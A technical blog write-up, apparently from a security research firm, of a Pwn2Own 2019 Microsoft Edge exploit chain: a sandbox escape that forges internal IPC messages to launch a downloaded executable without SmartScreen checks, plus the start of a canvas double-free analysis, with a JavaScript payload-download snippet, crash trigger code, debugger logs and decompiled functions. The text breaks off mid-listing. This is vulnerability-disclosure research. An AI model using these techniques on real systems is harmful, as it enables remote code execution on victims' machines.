Pwn2Own 2019: Microsoft Edge Sandbox Escape (CVE-2019-0938). Part 2

Author: Arthur Gerkis

This is the second part of the blog post on the Microsoft Edge full-chain exploit. It provides analysis and describes exploitation of a logical vulnerability in the implementation of the Microsoft Edge browser sandbox which allows arbitrary code execution with Medium Integrity Level.

Background

Microsoft Edge employs various Inter-Process Communication (IPC) mechanisms to communicate between content processes, the Manager process and broker processes. The one IPC mechanism relevant to the described vulnerability is implemented as a set of custom message passing functions which extend the standard Windows API PostMessage() function. These functions look like the following:

  • edgeIso!IsoPostMessage(ulong, ulong, ulong, ulong, ulong, _GUID)
  • edgeIso!IsoPostMessageUsingDataInBuffer(ulong, bool)
  • edgeIso!IsoPostMessageUsingVirtualAddress(ulong, ulong, ulong, ulong, uchar *, ulong)
  • edgeIso!IsoPostMessageWithoutBuffer(ulong, ulong, ulong, ulong, _GUID)
  • edgeIso!LCIEPostMessage(ulong, ulong, ulong, ulong, ulong)
  • edgeIso!LCIEPostMessageWithDISPPARAMS(ulong, ulong, uint, ulong, long, tagDISPPARAMS *, int)
  • edgeIso!LCIEPostMessageWithoutBuffer(ulong, ulong, ulong, ulong)

The listed functions are used to send messages with or without data and are stateless. No direct way to get the result of an operation is supported. The functions return only the result of the message posting operation, which does not guarantee that the requested action has completed successfully. The main goal of these functions is to trigger certain events (e.g. when a user is clicking on the navigation panel), signal state information, and notification of user interface changes.

Messages are sent to the windows of the current process or the windows of the Manager process. A call to PostMessage() is chosen when the message is sent to the current process. For the inter-process messaging a shared memory section and Windows events are employed. The implementation details are hidden from the developer and the direction of the message is chosen based on the value of the window handle. Each message has a unique identifier which denotes the kind of action to perform as a response to the trigger.

Messages that are supposed to be created as a reaction to a user triggered event are passed from one function to another through the virtual layer of different handlers. These handlers process the message and may pass the message further with a different message identifier.

The Vulnerability

The Microsoft Edge Manager process accepts messages from other processes, including content process. Some messages are meant to be run only internally, without crossing process boundaries. A content process can send messages which are supposed to be sent only within the Manager process. If such a message arrives from a content process, it is possible to forge user clicks and thus download and launch an arbitrary binary.

When the download of an executable file is initiated (either by JavaScript code or by user request) the notification bar with buttons appears and the user is offered three options: “Run” to run the offered file, “Download” to download, or “Cancel” to cancel. If the user clicks “Run”, a series of messages are posted from one Manager process window to another. It is possible to see what kind of messages are passed in the debugger by using following breakpoints:

bu edgeIso!LCIEPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithDISPPARAMS ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageUsingVirtualAddress ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"

There are a large number of messages sent during the navigation and subsequent file download, which forms a complex order of actions. The following list represents a simplified description of the actions performed by either a content process (CP) or the Manager process (MP) during ordinary user activities:

  1. a user clicks on a link to navigate (or the navigation is triggered by JavaScript code)
  2. a navigation event is fired (messages sent from CP to MP)
  3. messages for the modal download notification bar creation and handling are sent (CP to MP)
  4. the modal notification bar appears
  5. messages to handle the navigation and the state of the history are sent (CP to MP)
  6. messages are sent to handle DOM events (CP to MP)
  7. the download is getting handled again; messages with relevant download information are passed (CP to MP)
  8. the user clicks “Run” to run the file download
  9. messages are sent about the state of the download (MP to CP)
  10. the CP responds with updated file download information and terminates download handling in its own process
  11. the MP picks up file download handling and starts sending messages to its own Windows (MP to MP)
  12. the MP starts the security scan of the downloaded file (MP to MP)
  13. if the scan has completed successfully, a message is sent to the broker process to run the file
  14. the “browser_broker.exe” broker process launches the executable file

The first message in the series of calls is the response to the user’s click and it initiates the actual series of message passing events. Next follows a message which is important for the exploit because the call stack includes the function which the exploit will imitate. Excerpt of the debugger log file looks like the following:

edgeIso!LCIEPostMessage (00007ffe`d46ab110)(00000402, 00000402, 00000c65, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`65cfe928 00007ffe`af8de928 edgeIso!LCIEPostMessage
01 0000005d`65cfe930 00007ffe`af696d18 EMODEL!DownloadStateProgress::LCIESendToDownloadManager+0x118
02 0000005d`65cfe9b0 00007ffe`af696b1d EMODEL!CDownloadSecurity::_SendStateChangeMessage+0xe0
03 0000005d`65cfead0 00007ffe`af6954f5 EMODEL!CDownloadSecurity::_OnSecurityChecksComplete+0xa5
04 0000005d`65cfeb00 00007ffe`af6878c8 EMODEL!CDownloadSecurity::OnSecurityCheckCallback+0x45
05 0000005d`65cfeb30 00007ffe`af686dc2 EMODEL!CDownloadManager::OnDownloadSecurityCallback+0x58
06 0000005d`65cfeb70 00007ffe`af4604b7 EMODEL!CDownloadManager::HandleDownloadMessage+0x11e
07 0000005d`65cfed40 00007ffe`d469cccf EMODEL!LCIEAuthority::LCIEAuthorityManagerWinProc+0x2067
08 0000005d`65cff410 00007ffe`d469d830 edgeIso!IsoDispatchMessageToArtifacts+0x54f
09 0000005d`65cff520 00007fff`08506d41 edgeIso!_IsoThreadMessagingWindowProc+0x1f0

The last message sent is important as well, it has the identifier 0xd6b and it initiates running the file. Excerpt of the debugger log file looks like the following:

edgeIso!IsoPostMessage (00007ffe`d46ad8c0)(00000402, 00000402, 00000d6b, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`656fefc8 00007ffe`af62b4c6 edgeIso!IsoPostMessage
01 0000005d`656fefd0 00007ffe`af62b962 EMODEL!TFlatIsoMessage<DownloadOperation>::Post+0x9a
02 0000005d`656ff040 00007ffe`af62b7bf EMODEL!SpartanCore::DownloadsHandler::SendCommand+0x4e
03 0000005d`656ff0b0 00007ffe`af62ac07 EMODEL!SpartanCore::DownloadsHandler::ReportLaunchFailure+0xc3
04 0000005d`656ff110 00007ffe`af43be99 EMODEL!SpartanCore::DownloadsHandler::InvokeCommand+0x117
05 0000005d`656ff190 00007ffe`af43f0c3 EMODEL!CLayerBase::InvokeCommand+0x159
06 0000005d`656ff210 00007ffe`af43e78a EMODEL!CAsyncBoundaryLayer::_ProcessRequest+0x503
07 0000005d`656ff340 00007fff`08506d41 EMODEL!CAsyncBoundaryLayer::s_WndProc+0x19a
08 0000005d`656ff480 00007fff`08506713 USER32!UserCallWinProcCheckWow+0x2c1
09 0000005d`656ff610 00007fff`016ffef4 USER32!DispatchMessageWorker+0x1c3

The message sent by SpartanCore::DownloadsHandler::SendCommand() is spoofed by the exploit code.

Exploit Development

The exploit code is completely implemented in Javascript and calls the required native functions from Javascript.

The exploitation process can be divided into the following stages:

  1. changing location origin of the current document
  2. executing the JavaScript code which offers to run the download file
  3. posting a message to the Manager process which triggers the file to be run
  4. restoring original location.

Depending on the location of the site, the Edge browser may warn the user about potentially unsafe file download. In the case of internet sites, the user is always warned. As well the Edge browser checks the referrer of the download and may refuse to run the downloaded file even when the user has explicitly chosen to run the file. Additionally, the downloaded file is scanned with Microsoft Windows Defender SmartScreen which blocks any file from running if the file is considered malicious. This prevents a successful attack.

However, when a download is initiated from the “file://” URL and the download referrer is also from the secure zone (or without a zone as is the case with the “blob:” protocol), the downloaded file is not marked with the “Mark of the Web” (MotW). This completely bypasses checks by Microsoft Defender SmartScreen and allows running the downloaded file without any restrictions.

For the first step the exploit finds the current site URL and overwrites it with a “file:///” zone URL. The URL of the site is found by reading relevant pointers in memory. After the site URL is overwritten, the renderer process treats any download that is coming from the current site as coming from the “file:///” zone.

For the second step the exploit executes the JavaScript code which fetches the download file from the remote server and offers it as a download:

let anchorElement = document.createElement('a');
fetch('payload.bin').then((response) => {
  response.blob().then(
    (blobData) => {
      anchorElement.href = URL.createObjectURL(blobData);
      anchorElement.download = 'payload.exe';
      anchorElement.click();
    }
  );
});

The executed JavaScript initiates the file download and internally the Edge browser caches the file and keeps a temporary copy as long as the user has not responded to the download notification bar. Before any file download, a Globally Unique Identifier (GUID) is created for the actual download file. The Edge browser recognizes downloads not by the filename or the path, but by the download GUID. Messages which send commands to do any file operation must pass the GUID of the actual file. Therefore it is required to find the actual file download GUID. The required GUID is created by the content process during the call to EdgeContent!CDownloadState::Initialize():

.text:0000000180058CF0 public: long CDownloadState::Initialize(class CInterThreadMarshal *, struct IStream *, unsigned short const *, struct _GUID const &, unsigned short const *, struct IFetchDownloadContext *) proc near
...
.text:0000000180058E6F loc_180058E6F:
.text:0000000180058E6F                 mov     edi, 8007000Eh
.text:0000000180058E74                 test    rbx, rbx
.text:0000000180058E77                 jz      loc_180058FF0
.text:0000000180058E7D                 test    r13b, r13b
.text:0000000180058E80                 jnz     short loc_180058E93
.text:0000000180058E82                 lea     rcx, [rsi+74h]  ; pguid
.text:0000000180058E86                 call    cs:__imp_CoCreateGuid

Next follows the call to EdgeContent!DownloadStateProgress::LCIESendToDownloadManager(). This function packs all the relevant download data (such as the current URL, path to the cache file, the referrer, name of the file, and the mime type of the file), adds padding for the meta-data, creates the so called “message buffer” and sends it to the Manager process via a call to LCIEPostMessage(). As this message is getting posted to another process, all the data is eventually placed at the shared memory section and is available for reading and writing by both the content and Manager processes. The message buffer is eventually populated with the download file GUID.

The described operation performed by DownloadStateProgress::LCIESendToDownloadManager() is important for the exploit as it indirectly leaks the address of the message buffer and the relevant download file GUID.

The allocation address of the message buffer depends on the size of the message. There are several ranges of sizes:

  • 0x0 to 0x20 bytes: unsupported (message posting fails)
  • 0x20 to 0x1d0 bytes: first slot
  • 0x1d4 to 0xfd0 bytes: second slot
  • from 0x1fd4 bytes: last slot

If the previous message with the same size slot was freed, the new message is allocated at the same address. The specifics of the message buffer allocator allows leaking the address of the next buffer without the risk of failure. After the file download is triggered, the exploit gets the address of the message buffer. After the address of the message buffer is retrieved, it is possible to parse the message buffer and extract relevant data (such as the cache path and the file download GUID).

The last important step is to send a message which triggers the browser to run the downloaded file (the actual file operation is performed by the browser broker “browser_broker.exe”) with Medium Integrity Level. The exploit code which performs the current step is borrowed from eModel!TFlatIsoMessage<DownloadOperation>::Post():

__int64 __fastcall TFlatIsoMessage<DownloadOperation>::Post(
    unsigned int a1,
    unsigned int a2,
    __int64 a3,
    __int64 a4,
    __int64 a5
)
{
    unsigned int v5; // esi
    unsigned int v6; // edi
    signed int result; // ebx
    __int64 isoMessage_; // r8
    __m128i threadStateGUID; // xmm0
    unsigned int v11; // [rsp+20h] [rbp-48h]
    __int128 tmpThreadStateGUID; // [rsp+30h] [rbp-38h]
    __int64 isoMessage; // [rsp+40h] [rbp-28h]
    unsigned int msgBuffer; // [rsp+48h] [rbp-20h]

    v5 = a2;
    v6 = a1;
    result = IsoAllocMessageBuffer(a1, &msgBuffer, 0x48u, &isoMessage);
    if ( result >= 0 )
    {
        isoMessage_ = isoMessage;
        *(isoMessage + 0x20) = *a5;
        *(isoMessage_ + 0x30) = *(a5 + 0x10);
        *(isoMessage_ + 0x40) = *(a5 + 0x20);
        threadStateGUID = *GlobalThreadState();
        v11 = msgBuffer;
        _mm_storeu_si128(&tmpThreadStateGUID, threadStateGUID);
        result = IsoPostMessage(v6, v5, 0xD6Bu, 0, v11, &tmpThreadStateGUID);
        if ( result < 0 )
        {
            IsoFreeMessageBuffer(msgBuffer);
        }
    }
    return result;
}

Last, the exploit recovers the original site URL to avoid any potential artifacts and sends messages to remove the download notification bar.

Open problems

The only issue with the exploit is that a small popup will appear for a split second before the exploit has sent a message to click the popup button. Potentially it is possible to avoid this popup by sending a different set of messages which does not require a popup to be present.

Detection

There are no trivial methods to detect exploitation of the described vulnerability as the exploit code does not require any kind of particularly notable data and is not performing any kind of exceptional activity.

Mitigation

The exploit is developed in Javascript, but there is a possibility to develop an exploit not based on Javascript which makes it non-trivial to mitigate the issue with 100% certainty.

For exploits developed in Javascript, it is possible to mitigate this issue by disabling Javascript.

The described vulnerability was patched by Microsoft in the May updates.

Conclusion

The sandbox escape exploit part is 100% reliable and portable—thus requiring almost no effort to keep it compatible with different browser versions.

Here is the video demonstrating the full exploit-chain in action:

For demonstration purposes, the exploit payload writes a file named “w00t.txt” to the user desktop, opens this file with notepad and shows a message box with the integrity level of the “payload.exe”.

Subscribers of the Exodus 0day Feed had access to this exploit for penetration tests and implementing protections for their stakeholders.

Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Part 1

Author: Arthur Gerkis

This year Exodus Intelligence participated in the Pwn2Own competition in Vancouver. The chosen target was the Microsoft Edge browser and a full-chain browser exploit was successfully demonstrated. The exploit consisted of two parts:

  • renderer double-free vulnerability exploit achieving arbitrary read-write
  • logical vulnerability sandbox escape exploit achieving arbitrary code execution with Medium Integrity Level

This blog post describes the exploitation of the double-free vulnerability in the renderer process of Microsoft Edge 64-bit. Part 2 will describe the sandbox escape vulnerability.

The Vulnerability

The vulnerability is located in the Canvas 2D API component which is responsible for creating canvas patterns. The crash is triggered with the following JavaScript code:

let canvas = document.createElement('canvas');
let ctx = canvas.getContext('2d');

// Allocate canvas pattern objects and populate hash table.
for (let i = 0; i < 31; i++) {
  ctx.createPattern(canvas, 'no-repeat');
}

// Here the canvas pattern objects will be freed.
gc();

// This is causing internal OOM error.
canvas.setAttribute('height', 0x4000);
canvas.setAttribute('width', 0x4000);

// This will partially initialize canvas pattern object and trigger double-free.
try {
  ctx.createPattern(canvas, 'no-repeat');
} catch (e) {

}

If you run this test-case, you may notice that the crash does not happen always, several attempts may be required. In one of the next sections it will be explained why.

With the page heap enabled, the crash would look like this:

(470.122c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
edgehtml!TDispResourceCache::Remove+0x60:
00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh ds:00000249`2681fff8=????????
0:016> r
rax=000002490563a4a0 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=000000798c7fa710 rdi=000002492681fff0
rip=00007ffd2e5cd820 rsp=000000798c7fa680 rbp=0000000000000000
 r8=0000000000000000  r9=0000024909747758 r10=0000000000000000
r11=0000000000000025 r12=00007ffd2e999310 r13=0000024904993930
r14=0000024909747758 r15=0000000000000002
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
edgehtml!TDispResourceCache::Remove+0x60:
00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh ds:00000249`2681fff8=????????
0:016> k L7
 # Child-SP          RetAddr           Call Site
00 00000079`8c7fa680 00007ffd`2e5c546d edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x60
01 00000079`8c7fa6b0 00007ffd`2f054ad8 edgehtml!CDXSystemShared::RemoveDisplayResourceFromCache+0x6d
02 00000079`8c7fa710 00007ffd`2f054b54 edgehtml!CCanvasPattern::~CCanvasPattern+0x34
03 00000079`8c7fa740 00007ffd`2e7ac4d9 edgehtml!CCanvasPattern::`vector deleting destructor'+0x14
04 00000079`8c7fa770 00007ffd`2eb2703c edgehtml!CBase::PrivateRelease+0x159
05 00000079`8c7fa7b0 00007ffd`2f053584 edgehtml!TSmartPointer<CCanvasPattern,CStrongReferenceTraits,CCanvasPattern * __ptr64>::~TSmartPointer<CCanvasPattern,CStrongReferenceTraits,CCanvasPattern * __ptr64>+0x18
06 00000079`8c7fa7e0 00007ffd`2f050755 edgehtml!CCanvasRenderingProcessor2D::CreatePatternInternal+0xd8
0:016> ub @rip;u @rip
edgehtml!TDispResourceCache::Remove+0x46:
00007ffd`2e5cd806 488b742440      mov     rsi,qword ptr [rsp+40h]
00007ffd`2e5cd80b 488b7c2448      mov     rdi,qword ptr [rsp+48h]
00007ffd`2e5cd810 4883c420        add     rsp,20h
00007ffd`2e5cd814 415e            pop     r14
00007ffd`2e5cd816 c3              ret
00007ffd`2e5cd817 488b7808        mov     rdi,qword ptr [rax+8]
00007ffd`2e5cd81b 4885ff          test    rdi,rdi
00007ffd`2e5cd81e 74d5            je      edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x35 (00007ffd`2e5cd7f5)
edgehtml!TDispResourceCache::Remove+0x60:
00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh
00007ffd`2e5cd824 488b0f          mov     rcx,qword ptr [rdi]
00007ffd`2e5cd827 0f85dbe04e00    jne     edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x4ee148 (00007ffd`2eabb908)
00007ffd`2e5cd82d 48891f          mov     qword ptr [rdi],rbx
00007ffd`2e5cd830 488bd5          mov     rdx,rbp
00007ffd`2e5cd833 48890e          mov     qword ptr [rsi],rcx
00007ffd`2e5cd836 498bce          mov     rcx,r14
00007ffd`2e5cd839 e8b2f31500      call    edgehtml!CHtPvPvBaseT<&nullCompare,HashTableEntry>::Remove (00007ffd`2e72cbf0)
0:016> !heap -p -a @rdi
    address 000002492681fff0 found in
    _DPH_HEAP_ROOT @ 2497e601000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                249259795b0:      2492681f000             2000
    00007ffd51857608 ntdll!RtlDebugFreeHeap+0x000000000000003c
    00007ffd517fdd5e ntdll!RtlpFreeHeap+0x000000000009975e
    00007ffd5176286e ntdll!RtlFreeHeap+0x00000000000003ee
    00007ffd2e5cd871 edgehtml!TDispResourceCache<CDispNoLock,1,0>::CacheEntry::`scalar deleting destructor'+0x0000000000000021
    00007ffd2e5cd846 edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x0000000000000086
    00007ffd2e5c546d edgehtml!CDXSystemShared::RemoveDisplayResourceFromCache+0x000000000000006d
    00007ffd2f054ad8 edgehtml!CCanvasPattern::~CCanvasPattern+0x0000000000000034
    00007ffd2f054b54 edgehtml!CCanvasPattern::`vector deleting destructor'+0x0000000000000014
    00007ffd2e7ac4d9 edgehtml!CBase::PrivateRelease+0x0000000000000159
    00007ffd2e89f579 edgehtml!CJScript9Holder::CBaseFinalizer+0x00000000000000a9
    00007ffd2de66f5d chakra!Js::CustomExternalObject::Dispose+0x000000000000002d
    00007ffd2de3c012 chakra!Memory::SmallFinalizableHeapBlockT<SmallAllocationBlockAttributes>::ForEachPendingDisposeObject<<lambda_37407f4cdaf1d704a79fcdd974872764> >+0x0000000000000092
    00007ffd2de3bf0b chakra!Memory::HeapInfo::DisposeObjects+0x000000000000013b
    00007ffd2de81faa chakra!Memory::Recycler::DisposeObjects+0x0000000000000096
    00007ffd2de81e9a chakra!ThreadContext::DisposeObjects+0x000000000000004a
    00007ffd2dd5ac35 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000000000003a5
    00007ffd2dea7956 chakra!amd64_CallFunction+0x0000000000000086
    00007ffd2dd5f9d0 chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x00000000000002f0
    00007ffd2dd5fac8 chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0x00000000000000b8
    00007ffd2dd5fd41 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x0000000000000161
    00007ffd2dd48a21 chakra!Js::InterpreterStackFrame::Process+0x00000000000000e1
    00007ffd2dd486ff chakra!Js::InterpreterStackFrame::InterpreterHelper+0x000000000000088f
    00007ffd2dd4775e chakra!Js::InterpreterStackFrame::InterpreterThunk+0x000000000000004e
    00000249226f1fb2 +0x00000249226f1fb2

Vulnerability Analysis

Javascript createPattern() triggers the native CCanvasRenderingProcessor2D::CreatePatternInternal() call:

__int64 __fastcall CCanvasRenderingProcessor2D::CreatePatternInternal(
	CCanvasRenderingProcessor2D *this,
	struct CBase *a2,
	const unsigned __int16 *a3,
	struct CCanvasPattern **a4)
{
    CCanvasRenderingProcessor2D *this_; // rsi
    struct CCanvasPattern **v5; // r14
    const unsigned __int16 *v6; // rbp
    struct CBase *v7; // r15
    void *ptr; // rax
    CBaseScriptable *canvasPattern; // rbx
    struct CSecurityContext *v10; // rax
    signed int hr; // edi
    CBaseScriptable *canvasPattern_; // [rsp+30h] [rbp-28h]

    this_ = this;
    v5 = a4;
    v6 = a3;
    v7 = a2;
    ptr = MemoryProtection::HeapAllocClear<1>(0x50ui64);
    canvasPattern = Abandonment::CheckAllocationUntyped(ptr, 0x50ui64);
    if ( canvasPattern )
    {
        v10 = Tree::ANode::SecurityContext(*(*(this_ + 1) + 0x30i64));
        CBaseScriptable::CBaseScriptable(canvasPattern, v10);
        *canvasPattern = &CCanvasPattern::`vftable`;
        *(canvasPattern + 7) = 0i64; // `CCanvasPattern::Data`
        *(canvasPattern + 8) = 0i64;
        *(canvasPattern + 0x12) = 0;
    }
    else
    {
        canvasPattern = 0i64;
    }
    canvasPattern_ = canvasPattern;
    hr = CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget(this_, 0); // this may fail
    if ( hr >= 0 )
    {
        CCanvasRenderingProcessor2D::ResetSurfaceWithLayoutScaling(this_);
        hr = CCanvasPattern::Initialize(canvasPattern, v7, v6, *(*(this_ + 1) + 0x30i64), *(this_ + 0x20));
        if ( hr >= 0 )
        {
            if ( *(canvasPattern + 0x4C) )
            {
                canvasPattern = 0i64;
            }
            else
            {
                canvasPattern_ = 0i64;
            }
            *v5 = canvasPattern;
        }
    }
    TSmartPointer<CMediaStreamError,CStrongReferenceTraits,CMediaStreamError *>::~TSmartPointer<CMediaStreamError,CStrongReferenceTraits,CMediaStreamError *>(&canvasPattern_);
    return hr;
}

On line 21 the heap manager allocates space for the canvas pattern object and on the following lines certain members are set to 0. It is important to note the CCanvasPattern::Data member is populated on line 28.

Next follows a call to the CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method which is responsible for video memory allocation for the canvas pattern object on a target device. In certain cases this method returns an error. For the given vulnerability the bug is triggered when Windows GDI D3DKMTCreateAllocation() returns the error STATUS_GRAPHICS_NO_VIDEO_MEMORY (error code 0xc01e0100). Setting width and height of the canvas object to huge values can cause the video device to return an out-of-memory error. The following call stack shows the path which is taken after the width and height of the canvas object have been set to the large values and after consecutive calls to createPattern():

Breakpoint 1 hit
GDI32!D3DKMTCreateAllocation:
00007ffe`67a72940 48895c2420      mov     qword ptr [rsp+20h],rbx ss:000000b3`f59f82b8=000000000000b670
0:015> k
 # Child-SP          RetAddr           Call Site
00 000000b3`f59f8298 00007ffe`61fd598e GDI32!D3DKMTCreateAllocation
01 000000b3`f59f82a0 00007ffe`61fd39b5 d3d11!CallAndLogImpl<long (__cdecl*)(_D3DKMT_CREATEALLOCATION * __ptr64),_D3DKMT_CREATEALLOCATION * __ptr64>+0x1e
02 000000b3`f59f8300 00007ffe`605a1b4f d3d11!NDXGI::CDevice::AllocateCB+0x105
03 000000b3`f59f84c0 00007ffe`605a24dc vm3dum64_10+0x1b4f
04 000000b3`f59f8540 00007ffe`605ab258 vm3dum64_10+0x24dc
05 000000b3`f59f86a0 00007ffe`605ac163 vm3dum64_10!OpenAdapterWrapper+0x1b8c
06 000000b3`f59f8750 00007ffe`61fc3ce2 vm3dum64_10!OpenAdapterWrapper+0x2a97
07 000000b3`f59f87d0 00007ffe`61fc3a13 d3d11!CResource<ID3D11Texture2D1>::CLS::FinalConstruct+0x2b2
08 000000b3`f59f8b70 00007ffe`61fb98ba d3d11!TCLSWrappers<CTexture2D>::CLSFinalConstructFn+0x43
09 000000b3`f59f8bb0 00007ffe`61fbd107 d3d11!CDevice::CreateLayeredChild+0x2bca
0a 000000b3`f59fa410 00007ffe`61fbcf73 d3d11!NDXGI::CDeviceChild<IDXGIResource1,IDXGISwapChainInternal>::FinalConstruct+0x43
0b 000000b3`f59fa480 00007ffe`61fbca1c d3d11!NDXGI::CResource::FinalConstruct+0x3b
0c 000000b3`f59fa4d0 00007ffe`61fbd3c0 d3d11!NDXGI::CDevice::CreateLayeredChild+0x1bc
0d 000000b3`f59fa640 00007ffe`61fb43bb d3d11!NOutermost::CDevice::CreateLayeredChild+0x1b0
0e 000000b3`f59fa820 00007ffe`61fb297c d3d11!CDevice::CreateTexture2D_Worker+0x4cb
0f 000000b3`f59fade0 00007ffe`46cd68db d3d11!CDevice::CreateTexture2D+0xac
10 000000b3`f59fae70 00007ffe`46cd3dcd edgehtml!CDXResourceDomain::CreateTexture+0xfb
11 000000b3`f59faf20 00007ffe`46cd3d5e edgehtml!CDXSystem::CreateTexture+0x59
12 000000b3`f59faf70 00007ffe`46ed2dda edgehtml!CDXTextureTargetSurface::OnEnsureResources+0x15e
13 000000b3`f59fb010 00007ffe`46ed2e78 edgehtml!CDXTargetSurface::EnsureResources+0x32
14 000000b3`f59fb050 00007ffe`46ed2c71 edgehtml!CDXRenderTarget::EnsureResources+0x68
15 000000b3`f59fb0a0 00007ffe`46da4ba4 edgehtml!CDXRenderTarget::BeginDraw+0x81
16 000000b3`f59fb100 00007ffe`470180b5 edgehtml!CDXTextureRenderTarget::BeginDraw+0x34
17 000000b3`f59fb170 00007ffe`46cd8033 edgehtml!CDispSurface::BeginDraw+0xf5
18 000000b3`f59fb1d0 00007ffe`46cd7fa6 edgehtml!CCanvasRenderingProcessor2D::OpenBitmapRenderTarget+0x6b
19 000000b3`f59fb230 00007ffe`47831881 edgehtml!CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget+0x52
1a 000000b3`f59fb260 00007ffe`4782eaa5 edgehtml!CCanvasRenderingProcessor2D::CreatePatternInternal+0x85
1b 000000b3`f59fb2c0 00007ffe`47539d46 edgehtml!CCanvasRenderingContext2D::Var_createPattern+0xc5
1c 000000b3`f59fb330 00007ffe`47174135 edgehtml!CFastDOM::CCanvasRenderingContext2D::Trampoline_createPattern+0x52
1d 000000b3`f59fb380 00007ffe`464dc47e edgehtml!CFastDOM::CCanvasRenderingContext2D::Profiler_createPattern+0x25
0:015> pt
GDI32!D3DKMTCreateAllocation+0x18e:
00007ffe`67a72ace c3              ret
0:015> r
rax=00000000c01e0100 rbx=000000b3f59f8508 rcx=1756445c6ae30000
rdx=0000000000000000 rsi=0000000000000000 rdi=00007ffe62186ae0
rip=00007ffe67a72ace rsp=000000b3f59f8298 rbp=000000b3f59f8530
 r8=000000b3f59f81c8  r9=000000b3f59f84e0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=000002ae9f3326c8 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
GDI32!D3DKMTCreateAllocation+0x18e:
00007ffe`67a72ace c3              ret

A requirement to trigger the error is that the target hardware has an integrated video card or a video card with low memory. Such conditions are met on the VMWare graphics pseudo-hardware or on some budget devices. It is potentially possible to trigger other errors which do not depend on the target hardware resources as well.

Under normal conditions (i.e. the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method does not return any error) the CCanvasPattern::Initialize() method is called:

__int64 __fastcall CCanvasPattern::Initialize(
	CCanvasPattern *this,
	struct CBase *a2,
	const unsigned __int16 *a3,
	struct CHTMLCanvasElement *a4,
	struct CDispSurface *dispSurface
)
{
    struct CHTMLCanvasElement *canvasElement; // rbp
    const unsigned __int16 *v6; // rsi
    struct CBase *base; // rdi
    CCanvasPattern *this_; // rbx
    void *ptr; // rax
    char *canvasPatternData; // rax
    __int64 v11; // rdx
    __int64 v12; // r8
    __int64 v13; // rcx
    int initKind; // eax

    canvasElement = a4;
    v6 = a3;
    base = a2;
    this_ = this;

    // code omitted for brevity

    ptr = MemoryProtection::HeapAlloc<0>(0x20ui64);
    canvasPatternData = Abandonment::CheckAllocationUntyped(ptr, 0x20ui64);
    if ( canvasPatternData )
    {
        *(canvasPatternData + 0xC) = 0i64;
        *canvasPatternData = &RefCounted<CCanvasPattern::Data,MultiThreadedRefCount>::`vftable`;
        *(canvasPatternData + 6) = 1;
    }
    else
    {
        canvasPatternData = 0i64;
    }

    *(this_ + 7) = canvasPatternData; // member initialized
    // code omitted for brevity

    if ( v6 && *v6 )
    {
        if ( !MapCanvasStringToEnum<enum  CCanvasPattern::Repetition>(v6, v11, v12, (*(this_ + 7) + 8i64)) )
        {
            return 0x8070000Ci64;
        }
    }
    else
    {
        *(*(this_ + 7) + 8i64) = 0;
    }

    // code omitted for brevity

    initKind = (*(*base + 0x2A8i64))(base);
    switch ( initKind )
    {
        case 0x10C7:
            return CCanvasPattern::InitializeFromImage(this_, base, canvasElement, dispSurface);
        case 0x10B4:
            return CCanvasPattern::InitializeFromCanvas(this_, base); // is called
        case 0x10F1:
            return CCanvasPattern::InitializeFromVideo(this_, base);
    }
    return 0x80700011i64;
}

On line 40 one of the canvas pattern object members is set to point to the CCanvasPattern::Data object.

During the call to the CCanvasPattern::InitializeFromCanvas() method, a chain of calls follows. This eventually leads to a call of the following method:

__int64 __fastcall CDXSystemShared::AddDisplayResourceToCache(
	__int64 a1,
	__int64 a2,
	__int64 a3,
	_BYTE *a4,
	unsigned int a5
)
{
    __int64 v5; // rsi
    __int64 v6; // rbp
    _BYTE *v7; // rdi
    __int64 v8; // r14
    unsigned int v9; // ebx
    void (__fastcall ***v11)(_QWORD, __int64, _BYTE *); // [rsp+20h] [rbp-28h]
    void **v12; // [rsp+28h] [rbp-20h]
    __int64 v13; // [rsp+30h] [rbp-18h]
